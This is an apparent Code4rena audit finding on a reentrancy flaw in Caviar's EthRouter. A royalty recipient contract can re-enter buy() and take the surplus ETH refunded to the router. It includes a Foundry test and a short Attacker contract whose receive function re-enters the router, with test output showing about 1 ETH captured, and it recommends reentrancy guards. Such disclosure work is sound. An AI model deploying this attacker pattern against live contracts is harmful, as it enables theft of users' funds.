Platform: Code4rena
Start Date: 07/04/2023
Pot Size: $47,000 USDC
Total HM: 20
Participants: 120
Period: 6 days
Judge: GalloDaSballo
Total Solo HM: 4
Id: 230
League: ETH
Rank: 48/120
Findings: 1
Award: $89.68
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Voyvoda
Also found by: 0xRobocop, Evo, Kenshin, Ruhum, giovannidisiena, philogy, sashik_eth, teawaterwire
89.6836 USDC - $89.68
https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/EthRouter.sol#L123 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L281
When using the EthRouter
to buy NFTs the user will get a refund of ETH if they happen to have spent less than estimated on the assets at the end of the transaction:
// refund any surplus ETH to the caller if (address(this).balance > 0) { msg.sender.safeTransferETH(address(this).balance); }
Whether interacting with a public or private pool, if a royalty payment has to be made it will occur after the refund of "any excess ETH to the caller" which is the EthRouter
in that case.
When that line is called:
recipient.safeTransferETH(royaltyFee)
The recipient can actually be a smart contract with a receive
function that re-enters the buy
function of the router to get that excess ETH.
in Buy.t.sol
we modify the royalty test to change the royalty recipient and add excess ETH to the call to the Router:
function test_PaysRoyaltiesToAttacker() public { // arrange Pair pair = caviar.create(address(milady), address(0), bytes32(0)); deal(address(pair), 1.123e18); deal(address(pair), address(pair), 10e18); uint256[] memory tokenIds = new uint256[](1); milady.mint(address(pair), totalTokens); tokenIds[0] = totalTokens; uint256 inputAmount = pair.buyQuote(tokenIds.length * 1e18); uint256 royaltyFeeRate = 0.1e18; // 10% address royaltyRecipient = address(new Attacker(ethRouter)); // HERE milady.setRoyaltyInfo(royaltyFeeRate, royaltyRecipient); uint256 royaltyFee = inputAmount / 10 * royaltyFeeRate / 1e18 * 10; inputAmount += royaltyFee; maxInputAmount += inputAmount; buys.push( EthRouter.Buy({ pool: payable(address(pair)), nft: address(milady), tokenIds: tokenIds, tokenWeights: new uint256[](0), proof: PrivatePool.MerkleMultiProof(new bytes32[](0), new bool[](0)), baseTokenAmount: inputAmount, isPublicPool: true }) ); // act ethRouter.buy{value: maxInputAmount + 1e18}(buys, 0, true); // AND HERE // assert assertEq(address(royaltyRecipient).balance, royaltyFee, "Should have paid royalties"); assertGt(address(royaltyRecipient).balance, 0, "Should have paid royalties"); }
The attacker contract only has the receive function:
contract Attacker { EthRouter immutable router; constructor(EthRouter _router) { router = _router; } receive() external payable { router.buy(new EthRouter.Buy[](0), 0, false); } }
Now running forge test --match-test test_PaysRoyalties --match-path test/EthRouter/Buy.t.sol -vv
we get:
Logs: Error: Should have paid royalties Error: a == b not satisfied [uint] Left: 1012603815937149270 Right: 12603815937149270
The royalty recipient balance has been increased by 1 ETH.
Forge
Adding re-entrancy guards on the buy function would fix this issue
#0 - c4-pre-sort
2023-04-20T17:37:07Z
0xSorryNotSorry marked the issue as duplicate of #752
#1 - c4-judge
2023-05-01T07:28:06Z
GalloDaSballo marked the issue as satisfactory